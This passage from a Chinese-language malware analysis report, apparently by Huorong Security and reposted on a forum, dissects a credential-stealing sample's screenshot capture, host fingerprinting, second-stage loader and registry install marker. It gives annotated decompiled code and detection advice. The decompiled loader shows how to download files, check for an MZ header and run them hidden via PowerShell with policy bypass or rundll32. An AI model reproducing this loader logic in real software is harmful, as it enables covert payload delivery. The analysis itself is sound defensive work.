            FUN_140001364(&DAT_140046de6,0xc,&DAT_14004b43c,&DAT_14007b318);  // 解密失败日志格式串
            DAT_14007b324 = 1;  // 标记已初始化
          }
          uVar6 = 2;  // 日志级别 2
          puVar7 = &DAT_14007b318;  // 指向失败日志
        }
        else {  // 执行成功
          iVar10 = iVar10 + 1;  // 成功计数 +1
        }
}

截取1920×1080屏幕位图后编码为JPEG,以固定文件名screenshot.jpg提交,屏幕上未落盘的敏感内容也会因此外传。主机指纹采集自三处只读注册表:分别从系统版本键读取产品名称、当前版本号和显示版本,从卸载信息键枚举子键读取名称形成已安装软件清单,从显示适配器类键枚举读取驱动描述,全程仅以只读权限打开,没有写入动作,主机不会因采集指纹变更配置。对客户的直接影响是,单次运行就能完整采集主机画像和屏幕内容,无需和服务端交互,就能得到目标筛选与投放决策所需的信息。


5.3 二级Payload释放

Loader模式使该样本从窃密程序升级为通用投放通道:处理函数0x140008D64发起模式请求,对服务端响应做base64解码后按key:value|切分,每个取值交由0x140009324 完成下载、落盘与执行。下载体需满足长度下限,落盘后再校验体积不小于0x400且首两字节为MZ,随后按扩展名选择解释器并以隐藏窗口启动。


代码清单 12:二级投放与装机标记

// 程序: 内层内存组件// 函数: 0x140008D64(Loader 模式请求)、0x140009324(下载与执行)、0x140028A20(装机标记写入)// 作用: 下载任意文件落盘后按扩展名隐藏执行,并写入按卷序列号命名的装机标记// 说明: 落盘体校验 size≥0x400 且以 MZ 开头;响应按 key:value 切分逐项派发;标记先读后写/* Loader 模式请求(FUN_140008D64)——按冒号切分响应并逐项派发: */
ulonglong FUN_140008d64(longlong param_1,int param_2)
{
  do {  // 逐字符扫描整段响应,按分隔符切分派发
    cVar1 = local_838[uVar7];  // 取当前字符
    if ((cVar1 == '|') || (cVar1 == '\0')) {  // 遇段分隔符或串尾则处理一段
      local_838[uVar7] = '\0';  // 以串尾覆盖分隔符,截断当前段
      pcVar6 = local_838 + uVar4;  // 指向当前段起点(紧接上一段之后)
      cVar2 = *pcVar6;  // 取段首字符
      while ((cVar2 != '\0' && (cVar2 != ':'))) {  // 跳过键名,定位冒号分隔符
        pcVar6 = pcVar6 + 1;  // 前移指针
        cVar2 = *pcVar6;  // 取下一字符
      }
      if (*pcVar6 == ':') {  // 确认找到 key:value 中的冒号
        *pcVar6 = '\0';  // 截断键名,pcVar6+1 即为取值起点
        uVar9 = (ulonglong)((int)uVar9 + 1);  // 成功解析的段计数 +1
        iVar3 = FUN_140009324(param_1,pcVar6 + 1);  // 将取值派发给下载执行例程
        if (iVar3 != 0) {  // 派发成功
          uVar10 = (ulonglong)((int)uVar10 + 1);  // 成功执行的计数 +1
        }
      }
      iVar3 = (int)uVar9;  // 记录已解析段数
      uVar4 = uVar7 + 1;  // 下一段起点越过当前分隔符
      if (cVar1 == '\0') break;  // 到串尾则结束扫描
    }
    iVar3 = (int)uVar9;  // 更新已解析段数
    uVar7 = uVar7 + 1;  // 前移到下一字符
  } while (uVar7 <= uVar8);  // 直到扫描完整个响应缓冲区
}/* 下载与执行(FUN_140009324)——下载体长度下限、MZ 头校验与按扩展名隐藏执行: */
undefined8 FUN_140009324(longlong param_1,undefined8 param_2,char *param_3)
{
  if (((iVar1 == 0) || (CONCAT71(uStack_517,local_518) == 0)) || (local_510 < 100)) {  // 下载失败或体积过小则放弃
    FUN_140004400(&local_518);  // 释放响应缓冲
    FUN_14000e3e8(2,&DAT_1400770b0);  // 记录错误
    return 0;  // 返回失败
  }
  if (((local_510 < 0x400) || (*(char *)CONCAT71(uStack_517,local_518) != 'M')) ||
     (((char *)CONCAT71(uStack_517,local_518))[1] != 'Z')) {  // 落盘体长度 < 0x400 或非 MZ 头则校验失败
    FUN_140004400(&local_518);  // 释放响应缓冲
    FUN_14000e3e8(2,&DAT_140077148,local_510);  // 记录长度
    FUN_1400295c0(local_4c8);  // 清理落盘路径缓冲
    return 0;  // 返回失败
  }/* 校验通过:按扩展名选择隐藏执行模板,以 CREATE_NO_WINDOW(0x8000000)启动: */
  uVar2 = FUN_140023c30(&DAT_140077080);  // 按解密名解析执行模板选择接口
  pcVar4 = (code *)FUN_1400247a4(uVar2);  // 取得按扩展名选解释器的函数指针
  if (pcVar4 == (code *)0x0) {  // 未解析到执行入口
    FUN_14000e3e8(2,&DAT_140077178);  // 记录缺失
  }
  else {  // 已解析到执行入口
    FUN_14002540c(local_3b8,0x68);  // 初始化启动信息结构
    local_3b8[0] = 0x68;  // 结构大小字段
    local_37c = 1;  // 标志位
    FUN_14002540c(&local_4e8,0x18);  // 初始化进程信息结构
    /* 按扩展名选择执行模板(三类路由): */
    iVar1 = FUN_14002f110(local_4c8,&DAT_1400770f0);  // 比对类型一扩展名
    if (iVar1 == 0) {  // 类型一
      iVar1 = FUN_14002f110(local_4c8,&DAT_1400770fc);  // 比对类型二
      if (iVar1 == 0) { puVar5 = &DAT_140077228; }  // 类型二模板
      else { puVar5 = &DAT_1400771d0; }  // 默认模板
      FUN_14002f618(local_238,0x208,puVar5,local_4c8);  // 装配命令行
    }
    else {  // 非类型一
      FUN_14002f618(local_238,0x208,&DAT_1400771a0,local_4c8);  // 装配命令行
      if ((param_3 != (char *)0x0) && (*param_3 != '\0')) {  // 存在附加参数
        FUN_14002e4f4(local_238,0x208,&DAT_140077094);  // 追加参数前缀
        FUN_14002e4f4(local_238,0x208,param_3);  // 追加附加参数
      }
    }
    iVar1 = (*pcVar4)(0,local_238,0,0,0,0x8000000,0,0,local_3b8,&local_4e8);  // 按扩展名隐藏执行(CREATE_NO_WINDOW)
    if (iVar1 != 0) {  // 执行成功
      FUN_14000e3e8(4,&DAT_140077248,local_4c8,local_4d8);  // 记录成功
      return 1;  // 返回成功
    }
  }
}/* 装机标记(FUN_140028A20)——TS_ 格式串解密与注册表接口运行时解析: */
ulonglong FUN_140028a20(void)
{
  local_1e8[0] = 0x66;
  local_res8 = CONCAT44((int)(local_res8 >> 0x20),(uint)local_1e8) ^ 0x60470300;
  local_2c8 = 0xf6;
  local_2a4 = 0x5f;
  if (DAT_14007f9c0 != '\0') {
    return (ulonglong)((uint)local_1e8 ^ 0x60470300);
  }
  FUN_140001364(&DAT_140046f1d,0x33,&DAT_14004b8b4,&DAT_14007f7e8);  // 解密 TS_ 前缀格式串到 DAT_14007f7e8
  /* 值名 local_2f8 由卷序列号拼为 8 位十六进制,TS_ 前缀由 DAT_14007f7e8 给出: */
  /* 注册表 5 个 API 按解密名运行时解析(开/读/写/建/关): */
  pcVar7 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f778));  // 打开键
  pcVar8 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f790));  // 读值
  pcVar9 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f7a8));  // 写值
  pcVar10 = (code *)FUN_140024514(lVar6, FUN_140023c30(&DAT_14007f7c0));  // 创建键
  FUN_140023c30(&DAT_14007f7d8);  // 解析关闭接口
  pcVar11 = (code *)FUN_140024514(lVar6);  // 关闭键
  if ((((pcVar7 == (code *)0x0) || (pcVar8 == (code *)0x0)) || (pcVar9 == (code *)0x0)) ||
     ((pcVar10 == (code *)0x0 || (pcVar11 == (code *)0x0)))) goto LAB_1400290c4;  // 任一接口解析失败则跳转至清理返回
  /* 先读后写——已存在且长度 > 6 则幂等早退,否则创建并写入 8 字节: */
  iVar5 = (*pcVar7)(0x80000001,&DAT_14007f7e8,0,0x20019,puVar15);  // 以 KEY_READ 打开 Explorer 键
  if (iVar5 == 0) {  // 打开成功
    puVar16 = local_res18;  // 指向返回值大小缓冲
    puVar15 = (ulonglong *)&DAT_14007f9c0;  // 取值目标为装机标记全局
    local_res18[0] = 8;  // 期望读取 8 字节
    local_res10[0] = 0;  // 值类型初值
    iVar5 = (*pcVar8)(local_res8,local_2f8,0,local_res10,&DAT_14007f9c0,puVar16);  // 读取以卷序列号命名的标记值
    uVar17 = (undefined4)((ulonglong)puVar16 >> 0x20);  // 保存返回大小高 32 位供后续创建使用
    if (((iVar5 == 0) && (local_res10[0] == 1)) && ((DAT_14007f9c0 != '\0' && (6 < local_res18[0]))
       ) {  // 标记已存在且长度 > 6,则幂等早退
      DAT_14007f9c7 = 0;  // 清除标记存在标志
      uVar12 = (*pcVar11)(local_res8);  // 关闭键句柄
      return uVar12;  // 直接返回,不重复写入
    }
    (*pcVar11)(local_res8);  // 读取分支下关闭键句柄
  }
  FUN_1400290d0();  // 跳转点/清理:分配新键句柄上下文
  local_res20[0] = 0;  // 初始化类型缓冲
  local_res8 = 0;  // 清空键句柄
  uVar12 = (*pcVar9)(0x80000001,&DAT_14007f7e8,0,0,(ulonglong)puVar15 & 0xffffffff00000000,
                     CONCAT44(uVar17,0x20006),0,&local_res8,local_res20);  // 以 KEY_CREATE_SUB_KEY 创建/打开键
  if ((int)uVar12 != 0) {  // 创建失败
    return uVar12;  // 返回错误码
  }
  (*pcVar10)(local_res8,local_2f8,0,1,&DAT_14007f9c0,8);  // 写入 8 字节装机标记值(按卷序列号命名)
  uVar12 = (*pcVar11)(local_res8);  // 关闭键句柄
  return uVar12;  // 函数返回
}

三个模板均通过隐藏窗口标志启动:其中powershell.exe分支附加了绕过执行策略及不加载配置文件的参数,而.dll分支则由rundll32.exe加载,导致其父进程链显示为命令处理器或系统宿主程序,而非样本本身。装机标记被写入当前用户的Explorer注册表项,值名称由卷序列号生成,值数据为7位随机十六进制字符串;采用先读取后写入的机制,确保重复感染时不会生成新值,可作为主机侧判断复发的依据。


6. 检测与响应建议

该样本采用反射加载 PE、隐藏浏览器进程及数据窃取通信等行为,可从以下维度进行检测:

  • 内存行为检测方面,通过扫描内存识别异常的可执行映像,重点关注未映射至磁盘文件但具有PE结构的可执行内存区域。该方法结合线程起始地址、内存权限及调用关系,识别通过反射加载方式执行的恶意模块。同时,对浏览器进程中的异常内存写入、远程线程创建及非正常模块加载行为进行关联分析。
  • 进程行为检测方面,监控异常创建的Chrome或Chromium进程,重点关注无界面启动参数、异常的父子进程关系以及后台驻留行为。检测通过挂起进程并结合异步过程调用触发执行的异常执行链路。综合进程创建时间、线程注入行为及命令行参数,识别伪装为正常浏览器活动的攻击行为。
  • 网络行为检测方面,在网络流量中识别样本通信协议特征,包括固定的20位十六进制边界字符串及token、file_data等字段。结合HTTP请求结构、上传数据内容及通信目标,识别浏览器数据收集与外传行为。
  • 主机行为检测,监控注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer路径下,以TS_开头的异常注册表值变化,结合注册表修改时间、进程来源及关联执行链,判断变化是否由该样本产生。

火绒安全建议用户启用安全防护产品的主动防护功能并确保病毒库处于最新状态。鉴于该样本有别于常规木马,其主要目的在于窃取用户的Cookie、Token等身份认证信息,为保障您的账户与隐私安全,若发现异常情况,建议及时对常用服务的账户密码进行修改,保障自身信息安全。


附录 A:IOC 与指标清单

A.1 样本与载荷哈希

表 A-1:样本与载荷哈希与身份

A.2 外传中继端点

表 A-2:外传中继端点

A.3 主机侧指标

表 A-3:主机侧指标

A.4 配置指纹(加密串层)

表 A-4:配置指纹(加密串层)

上述标识符仅在内存态配置解密后可见,磁盘文件与静态字符串扫描均不呈现,适合作为内存取证与配置提取后的归因比对依据。


附录 B:加密与传输参数

B.1 加密参数

表 B-1:加密参数

B.2 传输参数

表 B-2:传输参数



冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回